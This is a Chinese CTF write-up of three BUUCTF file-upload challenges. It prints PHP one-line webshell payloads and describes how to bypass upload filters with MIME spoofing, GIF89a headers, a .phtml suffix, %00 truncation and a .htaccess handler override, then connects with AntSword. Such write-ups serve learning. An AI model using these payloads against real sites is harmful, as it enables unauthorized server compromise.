当前位置: 首页 > news >正文

[BT]BUUCTF刷题第4天(3.22)

第4天(共3题)

Web

[极客大挑战 2019]Upload

在这里插入图片描述

这是文件上传的题目,有一篇比较详细的有关文件上传的绕过方法文件上传漏洞详解(CTF篇)
首先直接上传带一句话木马的php文件,发现被拦截,提示不是图片,先修改MIME,可以看到有效果但是网站能够发现这是php文件

在这里插入图片描述

这里用到的是文件后缀名绕过,这道题的题解一般使用phtml后缀,经过测试%00截断也是可以的(其他的后缀还有php,php3,php4,php5,phtml.pht)

结果网站提示它还能发现这不是图片,考虑添加图片文件头,其他题解用的是GIF89a,我使用的是在png文件里添加一句话木马
GIF89a示例:

GIF89a
<script language="php">eval($_POST['shell']);</script> 

我的示例:
在这里插入图片描述

发送后网站又提示不能包含<?,但是可以用js脚本绕过 把`<?php @eval(system($_POST["cmd"]));?>`换成

<script language="php">eval($_POST['shell']);</script>

文件上传成功,利用蚁剑连接网站目录下的upload/upload.php,成功拿到flag

[ACTF2020 新生赛]Upload

在这里插入图片描述

这道题和上一道题极为相似,这里先把鼠标移到对灯泡这里发现上传文件的提示,下面是解题步骤:

  1. 上传普通的png文件
  2. 利用BP抓包在png文件上传内容中插入<?php eval($_POST['cmd']) ?>
  3. 修改文件后缀名为.phtml
  4. 得到返回的文件上传目录(网站会重命名文件)
  5. 利用蚁剑连接
    在这里插入图片描述
    在这里插入图片描述
    最终打开终端拿到flag

在这里插入图片描述

[MRCTF2020]你传你🐎呢

这道题用后缀名绕过不了,需要上传覆盖.htaccess文件

首先上传.htaccess文件,文件内容是:

<FilesMatch "upload.png">
SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述
这里也是需要用BP抓包修改Content-Type为image/jpeg来绕过检测的

上传成功后再上传一句话木马,直接上传带有木马的png文件(不修改后缀名)

在这里插入图片描述

访问图片木马,如图返回说明成功

在这里插入图片描述

蚁剑URL地址:http://5883a9b0-b18c-4957-b591-8205dfe17f29.node5.buuoj.cn:81/upload/cd0db1b586ebba4861c4022c59aff656/upload.png

然后在网站根目录下找到flag

在这里插入图片描述

相关文章:

  • Java基础--128陷阱
  • 5、Jenkins持续集成-Maven和Tomcat的安装与配置
  • 哨兵位、链表的链接
  • PTAxt的考研路
  • Python爬虫学习完整版
  • Rust 实战练习 - 4. 网络 TCP/UDP/Channel
  • 两台电脑简单的通信过程详解(经过两个路由器,不同网段)
  • Vue js封装接口
  • Mybatis-01
  • 51单片机学习笔记10 IIC通讯和EEPROM
  • 2024/3/23 蓝桥杯
  • 洁盟、苏泊尔、希亦超声波清洗机哪家好?全方位实测对比谁更强
  • 网络七层模型:理解网络通信的架构(〇)
  • Spring 面试——restcontroller/requestmapping
  • git新建一个项目如何合并其他项目
  • CSS选择器——伪元素选择器之处理父元素高度及外边距溢出
  • export和import的用法总结
  • Git学习与使用心得(1)—— 初始化
  • pdf文件如何在线转换为jpg图片
  • vue学习系列(二)vue-cli
  • 高程读书笔记 第六章 面向对象程序设计
  • 官方解决所有 npm 全局安装权限问题
  • 悄悄地说一个bug
  • 腾讯优测优分享 | Android碎片化问题小结——关于闪光灯的那些事儿
  • 通过几道题目学习二叉搜索树
  • 网页视频流m3u8/ts视频下载
  • 最简单的无缝轮播
  • FaaS 的简单实践
  • ​草莓熊python turtle绘图代码(玫瑰花版)附源代码
  • #Java第九次作业--输入输出流和文件操作
  • ${factoryList }后面有空格不影响
  • (HAL)STM32F103C6T8——软件模拟I2C驱动0.96寸OLED屏幕
  • (附源码)spring boot校园拼车微信小程序 毕业设计 091617
  • (附源码)springboot太原学院贫困生申请管理系统 毕业设计 101517
  • (一)插入排序
  • (转)Groupon前传:从10个月的失败作品修改,1个月找到成功
  • .NET/C# 使用 SpanT 为字符串处理提升性能
  • .NETCORE 开发登录接口MFA谷歌多因子身份验证
  • .NET单元测试
  • .net开源工作流引擎ccflow表单数据返回值Pop分组模式和表格模式对比
  • .net专家(张羿专栏)
  • .project文件
  • .py文件应该怎样打开?
  • .stream().map与.stream().flatMap的使用
  • @data注解_SpringBoot 使用WebSocket打造在线聊天室(基于注解)
  • @Pointcut 使用
  • [AIGC] Spring Interceptor 拦截器详解
  • [Android] Android ActivityManager
  • [C++]STL之map
  • [cb]UIGrid+UIStretch的自适应
  • [hive小技巧]同一份数据多种处理
  • [JavaScript]_[初级]_[不使用JQuery原生Ajax提交表单文件并监听进度]
  • [KMP求最小循环节][HDU1358][Period]
  • [LeetCode] Minimum Path Sum
  • [LeetCode]—Copy List with Random Pointer 深度复制带“任意指针”的链表